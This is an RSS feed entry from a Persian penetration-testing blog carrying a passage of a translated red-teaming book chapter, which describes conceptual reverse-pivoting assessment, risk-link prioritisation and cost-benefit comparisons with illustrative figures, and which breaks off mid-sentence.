<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Peneter &#8211; Peneter.com</title>
	<atom:link href="https://blog.peneter.com/author/peneter/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.peneter.com</link>
	<description>Penetration Tester</description>
	<lastBuildDate>Wed, 31 Dec 2025 07:31:38 +0000</lastBuildDate>
	<language>fa-IR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>
	<item>
		<title>کتاب تیم قرمز حرفه‌ای &#8211; فصل دوازدهم</title>
		<link>https://blog.peneter.com/professional-red-teaming-chapter-12/</link>
					<comments>https://blog.peneter.com/professional-red-teaming-chapter-12/#respond</comments>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Thu, 02 Oct 2025 07:12:14 +0000</pubDate>
				<category><![CDATA[کتاب]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1454</guid>

					<description><![CDATA[فصل دوازدهم: تیم قرمز معکوس پس از انتخاب اهداف با روش تعیین محدوده تیم CAPTR و مشخص شدن مناسب‌ترین نقطه شروع با استفاده از چشم‌انداز...]]></description>
										<content:encoded><![CDATA[<h1><a name="_Toc144125189"></a>فصل دوازدهم: تیم قرمز معکوس</h1>
<p>پس از انتخاب اهداف با روش تعیین محدوده تیم CAPTR و مشخص شدن مناسب‌ترین نقطه شروع با استفاده از چشم‌انداز حیاتی، می‌توان ارزیابی را شروع کرد. زنجیره انتقال معکوس یکی از روش‌های ارزیابی منحصربفرد برای شروع ارزیابی با چشم‌انداز حیاتی است که با استفاده از تعیین ارتباطات پرریسک به روش معکوس، یک مکانیزم گزارش دهی ایجاد می‌کند تا بیشترین سطح هزینه-مزایا را برای چنین فعالیت‌هایی فراهم کند. در این فصل به بررسی فرایند زنجیره انتقال معکوس و مزایا و نتایج آن می‌پردازیم.</p>
<h2><a name="_Toc144125190"></a>زنجیره انتقال معکوس</h2>
<p>زنجیره انتقال معکوس به استفاده از اطلاعات گردآوری شده به صورت محلی و منفعل از دستگاه‌هایی که در محدوده اولیه قرار داشته‌اند برای تعیین راه‌های دسترسی مهاجمان و گسترش محدوده عملیات تیم CAPTR گفته می‌شود. انتقال معکوس با ارتقای بهره وری برای بهره برداری از آسیب‌پذیری‌ها و مسیرهای دسترسی پرخطرتر، متمرکز بر ارتباطات قابل شناسایی حول یک دستگاه خاص است نه کل محیط شبکه. در این روش، انتخاب و ارزیابی دقیق اهداف از تعداد اهداف مورد ارزیابی اهمیت بیشتری دارد.</p>
<h3><a name="_Toc144125191"></a>ارزیابی محلی</h3>
<p>ارزیابی محلی اشیایی که در محدوده حیاتی قرار گرفته‌اند با استفاده از دسترسی‌های ممتاز و با این فرض که یک APT می‌تواند در نهایت حین عملیات نفوذ به چنین دسترسی‌هایی برسد، انجام می‌شود. آسیب‌پذیری‌های ارتقای دسترسی محلی و پیکربندی‌های اشتباه محلی که به مهاجمان امکان می‌دهند بر دسترس پذیری، محرمانگی یا جامعیت برخی از اشیاء تأثیر بگذارند، در ابتدای عملیات تیم CAPTR مورد ارزیابی قرار می‌گیرند. بعلاوه، از این سطح دسترسی برای شناسایی مسیرهای دسترسی از راه دور مثل اکسپلویت‌های اجرای کد یا پیکربندی ضعیف احرازهویت هم استفاده می‌شود. تیم ارزیابی CAPTR با دسترسی به قابلیت‌های سیستم‌عامل و داده‌هایی که به صورت محلی ذخیره شده‌اند، می‌توانند مسیرهای دسترسی قابل استفاده مهاجمان برای نفوذ به آیتم‌های محدوده ارزیابی را شناسایی کنند بدون اینکه نیاز به اجرای اسکن و بهره برداری‌های پرریسک داشته باشند.</p>
<p>بهترین راه درک مزایای این روش، توضیح آن با یک مثال ساده بر اساس شبکه مشخص شده در شکل 12-1 است. تعیین محدوده نتیجه گرای تیم CAPTR، نشان داد که فایل سرور لینوکس امکان نفوذ کشنده به درون سازمان را فراهم می‌کند بنابراین ارزیابی با چشم‌انداز اولیه حیاتی و با دسترسی به سرور شروع می‌شود.</p>
<p><img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-1461 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-1.png" alt="" width="564" height="240" srcset="https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-1.png 564w, https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-1-300x128.png 300w, https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-1-100x43.png 100w" sizes="(max-width: 564px) 100vw, 564px" /></p>
<p style="text-align: center;">شکل 12-1 جهت اجرای عملیات تیم CAPTR</p>
<p>پس از اجرای فرمان‌های مربوط به آگاهی وضعیتی، تیم ارزیابی از فرمان‌های محلی سیستم‌عامل بومی برای کسب اطلاعات درباره ماشینی که نفوذ به آن حیاتی تلقی می‌شد، استفاده می‌کند.</p>
<p>سپس تیم ارزیابی متوجه می‌شود که نسخه هسته مورد استفاده در سرور لینوکس قدیمی شده و یک آسیب‌پذیری ارتقای سطح دسترسی محلی در آن وجود دارد. قابلیت انتقال از سطح دسترسی غیرممتاز به حالت ممتاز روی چنین ماشین حیاتی در سازمان، یک ریسک به شدت خطرناک محسوب می‌شود. در سایر مدل‌های ارزیابی که احتمالاً با موفقیت و به صورت کامل به همه دستگاه‌های شبکه نفوذ نمی‌کنند و به این ماشین که در اعماق شبکه سازمان قرار دارد، دسترسی پیدا نمی‌کنند، چنین ریسکی ناشناس باقی می‌ماند. تیم CAPTR، به سرعت این آیتم را که احتمال نفوذ مرگبار به آن وجود دارد، ارزیابی کرده و ظرف اولین لحظات پس از کسب آگاهی وضعیتی، یک آیتم حیاتی قابل گزارش را پیدا کردند حتی بدون اینکه نیاز به حرکت به سمت بیرون و گسترش ارزیابی داشته باشند.</p>
<p>فرمان‌های ابتدایی که برای رسیدن به آگاهی وضعیتی اجرا شدند، به تیم ارزیابی اطلاع دادند که سه ماشین در حال ارتباط با ماشینی هستند که نفوذ به آن مرگبار تلقی می‌شود. یک کامپیوتر وجود دارد که از کلیدهای SSH برای دسترسی و مدیریت این سیستم از راه دور استفاده می‌کند. این اطلاعات از خود فایل سیستم به دست آمدند. گزارش‌ها و پروتکل‌های SSH به دست آمده از پوشه کاربر در این ماشین و فعالیت‌های کاربران در تاریخچه فرمان‌های سیستم، نشان دهنده ادمین بودن کاربر این سیستم بودند. بدون دسترسی‌های سطح بالایی که در عملیات تیم CAPTR مورد استفاده قرار می‌گیرند، چنین اطلاعاتی هرگز به دست نمی‌آمدند؛ یک تیم قرمز معمولی، از راه دور از چند سیستم بهره برداری کرده و برای رسیدن به همان اطلاعاتی که روش CAPTR با آنها شروع شد، یک اکسپلویت خطرناک ارتقای دسترسی را در سطح هسته سیستم‌عامل اجرا می‌کرد.</p>
<p>اتصالات برقرار شده با ماشینی که تیم ارزیابی با بررسی فرمان‌های سیستم‌عامل متوجه حضور آن شد، وجود دو نوع ارتباط دیگر را هم نشان دادند. یکی از این ارتباطات، دسترسی به یک مخزن اشتراکِ فایل فقط خواندنی روی پورت 80 بود که سرور لینوکس میزبان آن است و دیگری دسترسی به یک سرور انتقال فایل روی پورت 21 بود. بررسی‌های بعدی نشان داد که از سرور انتقال فایل برای ذخیره یکسری فایل در سرور لینوکس که سایر کاربران آنها را مشاهده و دانلود می‌کردند، استفاده می‌شود. همچنین، تیم ارزیابی با گردآوری اطلاعات محلی دیگر متوجه شد که قابلیت انتقال فایل، محدود به یک محل خاص مثل پوشه به اشتراک گذاری فایل‌ها نیست و اینکه یک سیستم انتقال فایل از راه دور، می‌تواند چند اسکریپت حفاظت نشده را که با دسترسی‌های کاربر ممتاز اجرا می‌شدند، از طریق مکانیزم زمانبندی ماشین، تغییر دهد.</p>
<p>در این مرحله، با اینکه بهره برداری انجام نشده بود، ظرف کمتر از یک روز پس از ارزیابی، این اطلاعات ارزشمند به دست آمدند:</p>
<ul>
<li>وجود قابلیت ارتقای سطح دسترسی محلی با استفاده از اکسپلویت هسته</li>
<li>اجرای کد از راه دور با دسترسی‌های کاربر ممتاز به دلیل:
<ul>
<li>پیکربندی ضعیف کارهای زمانبندی شده world-writeable<a href="#_ftn1" name="_ftnref1"><sup>[1]</sup></a> که با دسترسی‌های کاربر ممتاز اجرا می‌شدند.</li>
<li>وجود یک سرور انتقال فایل بدون محدودیت</li>
</ul>
</li>
</ul>
<h3><a name="_Toc144125192"></a>تحلیل هوش محلی</h3>
<p>همچنین، تیم ارزیابی سه ارتباط سطح 1 با آیتمی که نفوذ به آن کشنده بود را شناسایی کرد. با شناسایی این اهداف، تیم CAPTR یک تحلیل برای تشخیص ترتیب ارزیابی این میزبان‌ها اجرا کرد. این اولویت بندی بعداً برای شناسایی لینک‌هایی که بیشترین خطر را دارند، مفید است. این لینک‌ها و ریسک آنها بر اساس مبدأ، مقصد، روش و سطح دسترسی ارتباطات ارزیابی می‌شوند. ممکن است بین دستگاه‌ها چند لینک وجود داشته باشد. مثلاً اگر سیستم ادمین امکان دسترسی به سیستمی با نفوذ مرگبار را از طریق SSH به صورت یک کاربر ادمین داشت یا می‌توانست به عنوان یک کاربر معمولی به آن فایل منتقل کند، این یعنی مهاجمان برای نفوذ به آیتمی با احتمال نفوذ مرگبار نیاز به دسترسی سطح بالایی به به این ارتباط سطح 1 نداشتند. در ادامه این مثال، یکسری نقاط تصمیم گیری ساده را برای اولویت بندی و ارزیابی معرفی می‌کنیم. در شرایط واقعی، هر سناریویی ویژگی‌های متمایزی برای ارزیابی امنیتی تهاجمی دارد و ممکن است تصمیمات تیم ارزیابی، مسیر اجرای عملیات را تغییر داده و به شکل متفاوت پیش ببرند. از این سناریو برای آشنایی با فرایند اجرای عملیات استفاده کنید اما تصمیماتی که در رابطه با ریسک‌ها گرفته می‌شوند صرفاً به عنوان مثال ارایه شده‌اند و احتمالاً تصمیم مناسب برای هر سازمانی متفاوت است. در مثال ما، لینک‌های شناسایی شده از طریق ارزیابی محلی آیتمی با احتمال نفوذ مرگبار، به این صورت هستند:</p>
<ul>
<li>کاربر ممتاز<a href="#_ftn2" name="_ftnref2">[2]</a> در سیستم 0.0.2 می‌تواند با استفاده از پروتکل SSH دسترسی‌های کاربر ممتاز را به 10.0.0.1 پیدا کند.</li>
<li>کاربر غیرممتاز در 0.0.3 می‌تواند با استفاده از پروتکل FTP دسترسی کاربر غیرممتاز را به 10.0.0.3 پیدا کند.</li>
<li>کاربر غیرممتاز در 0.0.4 می‌تواند با استفاده از پروتکل HTTP دسترسی کاربر غیرممتاز را به 10.0.0.1 پیدا کند (شکل 12-2 را ببینید).</li>
</ul>
<p><img decoding="async" class="size-full wp-image-1462 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-2.png" alt="" width="545" height="255" srcset="https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-2.png 545w, https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-2-300x140.png 300w, https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-2-100x47.png 100w" sizes="(max-width: 545px) 100vw, 545px" /></p>
<p style="text-align: center;">شکل 12-2 لینک‌های ارتباطی</p>
<p>اولین لینک، بیشترین ریسک را برای آیتمی با نفوذ مرگبار ایجاد می‌کند چون امکان دسترسی تعاملی فوری به این آیتم را با سطح دسترسی کاربر ممتاز فراهم می‌کند. هر مهاجمی که بتواند به این ارتباطات سطح 1 نفوذ کند، تهدیدی بسیار جدی برای سرور لینوکس ایجاد خواهد کرد. لینک FTP رتبه دوم را دارد چون دسترسی غیرممتاز را فراهم می‌کند اما این لینک هم امکان انتقال فایل به سروری با نفوذ کشنده را فراهم می‌کند و با توجه به آنچه درباره وجود آسیب‌پذیری‌های ارتقای سطح دسترسی محلی می‌دانیم، این یکی از مسیرهای بالقوه اما نسبتاً پیچیده برای تعامل از راه دور است. لینک HTTP آخرین مورد است چون با استفاده از آن، کاربران غیرممتاز فقط می‌توانند از میزبان ممتاز داده دانلود کنند و به منظور ایجاد خطر برای آیتمی با نفوذ مرگبار، نیاز به استفاده از یک لینک پرریسک دیگر هم دارد.</p>
<h3><a name="_Toc144125193"></a>انتقال معکوس</h3>
<p>در این مرحله، تیم ارزیابی یک فهرست اولویت بندی شده از اهداف ایجاد کرده که در ارزیابی CAPTR از آنها استفاده می‌شود. در عملیات تیم قرمز معمولی، از زنجیره انتقال برای نفوذ عمیق‌تر به داخل شبکه استفاده شده و تیم ارزیابی از نقاط بیرونی، به خطرناک‌ترین نقاط می‌رسند. در عملیات تیم CAPTR، از انتقال معکوس برای شروع حرکت از مهم‌ترین آیتم‌های موجود در محدوده عملیات استفاده شده تا مسیرهای دسترسی آنها به سایر نقاط شبکه مشخص شود. این اهداف، از راه دور بررسی می‌شوند تا آسیب‌پذیری‌ها و مسیرهای بالقوه دسترسی به آنها با کمک ابزارهای شناخته شده در زمینه اسکن و بهره برداری مشخص شود. بعد از آن، این عملیات جمع آوری اطلاعات روی همه آیتم‌های سطح ارتباطی 1 که تیم ارزیابی به آن نفوذ کرده، تکرار می‌شود اما با یک تفاوت. علاوه بر شناسایی اطلاعات مربوط به ارتباطات راه دوری که ممکن است به آن دستگاه دسترسی داشته باشند، خود دستگاه و احتمال عمل کردن آن به عنوان یک توزیع کننده داده هم مورد ارزیابی قرار می‌گیرد. از این جهت، در ارزیابی‌های تیم CAPTR، مسیرهای ارتباطی بیرون به داخل و داخل به بیرون هر دو ارزشمند هستند.</p>
<p>تیم ارزیابی، ارتباط سیستم ادمین با سیستم دارای احتمال نفوذ مرگبار را به عنوان پرریسک‌ترین ارتباط شناسایی کرده اما فرض کنید که هنگام انتقال معکوس، تیم ارزیابی متوجه شود که از این سیستم برای تولید محتوا استفاده می‌شود. همچنین، 10 سیستم دیگر به سرور دارای احتمال نفوذ مرگبار دسترسی دارند و خود این سرور هم یک آسیب‌پذیری اجرای کد از راه دور دارد. بعلاوه، این کامپیوتر هم توسط همان حساب کاربری و ماشین مبدأ مورد استفاده برای نفوذ کشنده، مدیریت می‌شود. در چنین شرایطی هر گونه نفوذ و ارتقای دسترسی به کامپیوتر تولید محتوا به مهاجمان امکان می‌دهد که اعتبارنامه‌های کاربر ممتاز را به دست آورند چون برای راحتی کار، این اطلاعات روی سیستم ذخیره شده‌اند. در دو ارتباط بعدی سطح 1، آسیب‌پذیری دسترسی از راه دور پیدا نشد بنابراین حالا سیستم تولید محتوا به عنوان سیستمی با بیشترین سطح ریسک در سازمان شناخته می‌شود.</p>
<p>سرهم کردن این فرایند انتقال معکوس تکرار شونده، به تیم ارزیابی امکان می‌دهد که شبکه روابط ریسک‌ها را تشکیل داده و ویژگی‌های ارتباطاتی را که می‌توانند به عنوان مسیر حمله عمل کنند، مشخص کند. همچنین لازم به ذکر است که عملیات تیم CAPTR هم یکی از ابزارهای کارشناسان امنیت تهاجمی است. این عملیات کل محیط شبکه‌ای که آیتمی با نفوذ مرگبار در آن قرار دارند را بررسی نمی‌کند و متمرکز بر مسیرهای ارتباطی محتمل است. همچنین، خیلی از مهاجمان پیشرفته تمام تلاش خودشان را می‌کنند تا برای نفوذ به سازمان‌ها از مسیرهای ارتباطی موجود استفاده کرده و در آنها پنهان شوند. تمرکز بسیار مؤثر بر چنین آیتم‌هایی، اعتبار و ارزش فرایند CAPTR را افزایش می‌دهد هر چند جهت این روش به نوعی برعکس عملیات تیم قرمز سنتی و جهت حرکت مهاجمان است.</p>
<h2><a name="_Toc144125194"></a>خروجی‌های عملیات CAPTR</h2>
<p>مقایسه مثال قبلی با اهداف واقعی که معمولاً بسیار بزرگتر هستند نشان می‌دهد که فرایند زنجیره انتقال معکوس می‌تواند منجر به ایجاد شبکه‌ای از ارتباطات بین میزبان‌ها شود که تیم ارزیابی را به سمت آیتم یا آیتم‌هایی با نفوذ کشنده هدایت می‌کنند. یکی از مزایای این روش این است که تیم ارزیابی می‌تواند امنیت را حفظ کند. در واقع، برای کارآمد بودن ارزیابی تیم CAPTR نیازی به بهره برداری از تنها یک آسیب‌پذیری وجود ندارد. در یک محیط پرریسک که به دلیل ریسک عملیات تیم قرمز با اجرای آن مخالفت می‌شود، عملیات CAPTR می‌تواند جایگزین خوبی باشد. به جای تلاش برای بهره برداری راه دور از ارتباطات سطح 1، تیم ارزیابی از دسترسی‌های سطح بالای فراهم شده توسط سازمان میزبان استفاده می‌کند تا گردآوری اطلاعات محلی را روی هر ارتباط سطح 1 انجام داده؛ سپس امکان انتشار داده توسط آنها را ارزیابی و مشخص کند که کدامیک از دستگاه‌های شبکه در ارتباطات سطح 2 حضور دارند. گرچه این روش، قابلیت اثبات مفهوم بهره برداری واقعی را ندارد اما تیم ارزیابی می‌تواند با مهارت و طرز فکری شبیه به مهاجمان واقعی آن را به نحو مؤثر و مفید برای سازمان میزبان اجرا کند.</p>
<h3><a name="_Toc144125195"></a>شبکه روابط ریسک معکوس</h3>
<p>گردآوری داده‌های مربوط به ریسک اطلاعات در طی ارزیابی، امکان تشکیل یک شبکه منطقی از روابط ریسک‌ها در سازمان را فراهم می‌کند. قبلاً اشاره شد که ممکن است محدوده عملیات CAPTR شامل چندین دستگاه باشد. این منطق ارزیابی CAPTR باز هم قابل اعمال است و با اینکه به جای یک هدف، چند هدف در محدوده عملیات قرار دارند اما می‌توان ارزیابی محلی را روی آنها به ترتیب اولویت انجام داد. ارتباطات سطح 1 فقط شامل لیست میزبان‌هایی است که با یک یا چند مورد از دستگاه‌های انتخاب شده برای محدوده ارزیابی در تماس هستند. قابلیت نفوذ و انتشار اهمیت زیادی دارد چون هر دستگاهی که با چند آیتم با احتمال نفوذ مرگبار یا کشنده در محدوده اولیه ارتباط دارد، جزء آیتم‌هایی با ریسک بیشتر تلقی می‌شود. می‌توان شبکه این روابط ریسک معکوس را تبدیل به یک نمایش گرافیکی از ریسک سازمانی کرده و از آن به عنوان ابزاری برای تعیین نقاطی که دستگاه امنیتی سازمان باید متمرکز بر آنها شود استفاده کرد. با بزرگتر شدن این شبکه، سازمان می‌تواند یک دید متمایز نسبت به ریسک پیدا کند. با ادامه عملیات و ارزیابی سطوح ارتباطی بالاتر، مشخص شدن اتصالات موجود به آیتم‌هایی که نقش توزیع کننده انبوه را دارند و شناسایی آیتم‌هایی با ریسک بیشتر، تیم ارزیابی می‌تواند ریسک یک ماشین خاص، لینک‌های معکوس به آیتمی با نفوذ کشنده و ریسک کلی که سازمان را تهدید می‌کند آشکارتر کند.</p>
<h3><a name="_Toc144125196"></a>وزن‌دهی ریسک</h3>
<p>هر سازمانی که عملیات تیم CAPTR در آن اجرا می‌شود، می‌تواند نتایج را به صورتی تنظیم کند که در تحلیل کمی ریسک قابل استفاده باشند. قطعاً ایجاد تعریفی از وزن ریسک ایجاد شده بر اساس عواملی مثل لینک‌های ارتباطی، آسیب‌پذیری‌ها و توانایی گسترش در سطح سازمان به تحلیل محاسباتی، نمایش عدد ریسک ماشین‌های مختلف و بازنمایی شبکه روابط ریسک معکوس کمک می‌کند. از ارایه جزئیات چنین تحلیل‌هایی در اینجا خودداری می‌کنیم چون این تحلیل‌ها برای هر سازمانی متفاوت هستند. در نظر گرفتن نتایج تیم CAPTR و استفاده از معیارهایی مشخص برای تعیین هزینه ریسک، می‌تواند برای رسیدگی به ریسک آیتم‌هایی با نفوذ مرگبار یا حیاتی، مفید باشد.</p>
<h3><a name="_Toc144125197"></a>هزینه فایده‌ی عملیات تیم CAPTR</h3>
<p>شناسایی آسیب‌پذیری‌های بالقوه موجود در آیتم‌هایی با احتمال نفوذ کشنده در یک سازمان، در یک زمان کوتاه و با استفاده از منابع کمتر، جزء ویژگی‌های مثبت عملیات تیم CAPTR است. اولویت بندی آیتم‌هایی که در ابتدا جزء محدوده ارزیابی در نظر گرفته شده بودند و سپس ارزیابی کارآمد آنها و ارتباطات مربوط به آنها با استفاده از روش عملیات تیم CAPTR، نسبت به روش‌های ارزیابی سنتی هزینه-مزایای قابل قبول‌تری دارد. داده‌های مربوط به ریسک رابطه‌ای که تیم ارزیابی CAPTR درباره آیتم‌های عضو محدوده جمع آوری می‌کند و مسیرهای بالقوه دسترسی به آنها، امکان تولید گزارش‌هایی را فراهم می‌کند که به تیم‌های نظارت و امنیت سازمانی امکان می‌دهند با سرعت و کارایی بیشتری با تهدیدات مقابله کنند. بعلاوه، مدیران غیرفنی با استفاده از این شبکه روابط ریسک‌ها امکان انتخاب گزینه‌های کم هزینه‌تر را پیدا می‌کنند. به عنوان یک مثال از ارزیابی‌های تیم CAPTR، نگاهی به نمودار سازمانی شکل 12-3 داشته باشید.</p>
<p><img decoding="async" class="alignnone size-full wp-image-1463 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-3.png" alt="" width="485" height="486" srcset="https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-3.png 485w, https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-3-300x300.png 300w, https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-3-150x150.png 150w, https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-3-100x100.png 100w, https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-3-449x450.png 449w, https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-3-120x120.png 120w" sizes="(max-width: 485px) 100vw, 485px" /></p>
<p style="text-align: center;">شکل 12-3 ارزش گذاری ریسک اشیای سازمانی</p>
<p>در شکل 12-3 منابع سازمانی بر اساس هزینه‌ای که نفوذ به آنها در پی خواهد داشت، به نوارهای مختلف تقسیم شده‌اند. در این تصویر برای ساده‌تر شدن توضیحات، هزینه ریسک اشیای مختلف برای سازمان به صورت نمادین بر حسب دلار مشخص شده‌اند. در این شکل 6 شی وجود دارند که هزینه ریسک آنها 100 دلار در نظر گرفته شده است و 12 شی با هزینه ریسک 5 دلار و 18 شی با هزینه ریسک 1 دلار در شکل مشاهده می‌شود. هزینه ریسک کل اشیای درون سازمان، 438 دلار است.</p>
<p>در شکل 12-4 یک لایه جدید روی شکل 12-3 قرار گرفته که خروجی احتمالی تعیین محدوده را برای عملیات تیم CAPTR و همچنین عملیات امنیت تهاجمی سنتی مثل تست نفوذ یا عملیات تیم قرمز نشان می‌دهد.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1464 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-4.png" alt="" width="435" height="246" srcset="https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-4.png 435w, https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-4-300x170.png 300w, https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-4-100x57.png 100w" sizes="auto, (max-width: 435px) 100vw, 435px" /></p>
<p style="text-align: center;">شکل 12-4 (الف) محدوده امنیت تهاجمی سنتی و (ب) محدوده اولیه عملیات تیم CAPTR</p>
<p>شکل 12-4 (الف) محدوده مرسوم برای عملیات امنیت تهاجمی سنتی را نشان می‌دهد. محدوده عملیات تیم CAPTR (شکل 12-4 ب) محدود به آیتم‌هایی با اهمیت حیاتی است که در اینجا شامل سه شی با هزینه ریسک 100 دلار هستند. گرچه اشیای باارزش در هر دو محدوده پوشش داده شده‌اند اما می‌توان مطمئن بود که در عملیات تیم CAPTR این اشیاء حتماً مورد بررسی قرار می‌گیرند. در روش تعیین محدوده سنتی، احتمال اینکه هر آیتم ارزیابی شود کاملاً بستگی به مهارت ارزیاب و فرصت در نظر گرفته شده برای ارزیابی دارد. حالا شکل 12-5 را در نظر بگیرید.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1465 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-5.png" alt="" width="397" height="224" srcset="https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-5.png 397w, https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-5-300x169.png 300w, https://blog.peneter.com/wp-content/uploads/2025/12/professional-red-teaming-fig-12-5-100x56.png 100w" sizes="auto, (max-width: 397px) 100vw, 397px" /></p>
<p style="text-align: center;">شکل 12-5  نمونه‌های تیم ارزیابی سنتی (الف) و CAPTR (ب)</p>
<p>شکل 12-5 (الف) یافته‌های حاصل از محدوده مورد استفاده ارزیابی امنیت تهاجمی سنتی را نشان می‌دهد و قسمت (ب) همین شکل، یافته‌های ارزیابی تیم CAPTR را مشخص می‌کند. دایره‌های قرمز دور اشیاء، نشان دهنده نفوذ به این اشیاء حین اجرای عملیات است و فلش‌های قرمز نشان دهنده انتقال به یک شی با کمک اطلاعات به دست آمده از میزبان قبلی است. در تلاش برای ارزیابی نقاط ضعف در کل سازمان، روش سنتی به یکی از اهداف پر ارزش و تعداد زیادی از سایر اشیاء نفوذ کرده است. این نشان دهنده پتانسیل روش ارزیابی سنتی برای نفوذ به تعداد زیادی میزبان در سازمان است اما ممکن است همه این اشیاء ارزش زیادی برای سازمان نداشته باشند. در مقابل، محدوده عملیات تیم CAPTR امکان ارزیابی این سیستم‌های با ارزش را از همان ابتدای عملیات و با دسترسی ممتاز فراهم می‌کند. این محدوده اولیه، منجر به شناسایی میزبان‌های در ارتباطی می‌شود که مسیرهای احتمالی برای دسترسی مهاجمان به آیتم‌های پرارزش را تشکیل می‌دهند. سپس این مسیرها ارزیابی شده و در صورت امکان به آنها نفوذ صورت می‌گیرد و این فرایند در کل مدت ارزیابی ادامه پیدا می‌کند. عملیات تیم CAPTR نسبت به مدل‌های سنتی میزبان‌های کمتری را پوشش می‌دهد اما ارزش دارایی‌هایی که این تیم به آنها نفوذ می‌کند، بسیار بیشتر است. همچنین، تیم CAPTR از طریق شناسایی روابط بین اشیای کم ارزش و پرارزش، مشخص می‌کند که کدامیک از اشیای کم ارزش‌تر به دلیل ارتباطی که با آیتم‌های حیاتی دارند، ریسک پرهزینه‌تری برای سازمان ایجاد می‌کنند.</p>
<p>در شکل 12-5 ارزیابی امنیت تهاجمی سنتی بر روی یک محدوده معمولی منجر به نفوذ به 21 شی در سازمان شده که هزینه ریسک آنها در مجموع 171 دلار برآورد شده است. ارزیابی تیم CAPTR از محدوده اولیه هم منجر به نفوذ به 9 شی در سازمان شده که مجموع هزینه ریسک آنها 323 دلار برآورد شده است. این موارد صرفاً یکسری مثال هستند اما نتایج احتمالی ارزیابی با روش سنتی و روش تیم CAPTR را نشان می‌دهند. عملیات تیم CAPTR در یک بازه زمانی مشابه منجر به ارزیابی و نفوذ به آیتم‌های پرارزشی می‌شود که در محدوده اولیه وجود داشته و هزینه ریسک آنها به 300 دلار می‌رسد. روش ارزیابی امنیت تهاجمی سنتی باید برای پیدا کردن یافته‌هایی با همین سطح تأثیر به اندازه‌ای ادامه پیدا کند تا حداقل 2 مورد از 3 آیتم پر ارزش و همچنین سایر آیتم‌های درون سازمان را ارزیابی کند.</p>
<p>برای درک بیشتر مزایای ارزیابی تیم CAPTR و مشاهده این نتایج به صورت توصیه‌های مفید برای سازمان میزبان، باز هم نمودار یافته‌های تیم CAPTR را در نظر بگیرید که در شکل 12-6 به صورت بزرگتر به تصویر کشیده شده است.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1468 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/10/professional-red-teaming-fig-12-6.png" alt="" width="500" height="499" srcset="https://blog.peneter.com/wp-content/uploads/2025/10/professional-red-teaming-fig-12-6.png 500w, https://blog.peneter.com/wp-content/uploads/2025/10/professional-red-teaming-fig-12-6-300x300.png 300w, https://blog.peneter.com/wp-content/uploads/2025/10/professional-red-teaming-fig-12-6-150x150.png 150w, https://blog.peneter.com/wp-content/uploads/2025/10/professional-red-teaming-fig-12-6-100x100.png 100w, https://blog.peneter.com/wp-content/uploads/2025/10/professional-red-teaming-fig-12-6-451x450.png 451w, https://blog.peneter.com/wp-content/uploads/2025/10/professional-red-teaming-fig-12-6-120x120.png 120w" sizes="auto, (max-width: 500px) 100vw, 500px" /></p>
<p style="text-align: center;">شکل 12-6 نمونه‌ای از یافته‌های عملیات تیم CAPTR</p>
<p>یافته‌های شکل 12-6 به ترتیبی که منعکس کننده فاصله آنها از آیتم‌های محدوده اولیه و ارتباطات مختلف آنها است، به دست آمده‌اند. یافته‌های مربوط به آیتم‌های با ارزش‌تر برای سازمان اهمیت بسیار زیادی دارند و باید فوراً به آنها رسیدگی شود. ردیف بعدی میزبان‌ها، شامل آنهایی است که ارتباط مستقیمی با آیتم‌های محدوده اولیه دارند. مثلاً در شکل 12-6 یک شی با هزینه ریسک یک دلار پیدا شده که با یکی از آیتم‌های با ارزش محدوده اولیه، ارتباط مستقیمی دارد. شبکه ریسک تشکیل شده از طریق نگاشت ارتباطات بین میزبان‌ها و روابط آنها با آیتم‌های حیاتی، به مدیران غیرفنی هم کمک می‌کند تا ارزش رسیدگی به یک شی با هزینه ریسک 1 دلار را درک کنند. ممکن است در تحلیل ریسکی که بر اساس یافته‌های امنیت تهاجمی انجام می‌شود، هزینه یک دلاری آسیب‌پذیری در یک شی پذیرفته شده و رسیدگی به آن بی‌اهمیت به نظر برسد. این وضعیت حاصل این واقعیت است که شاید سازمان متوجه نباشد که 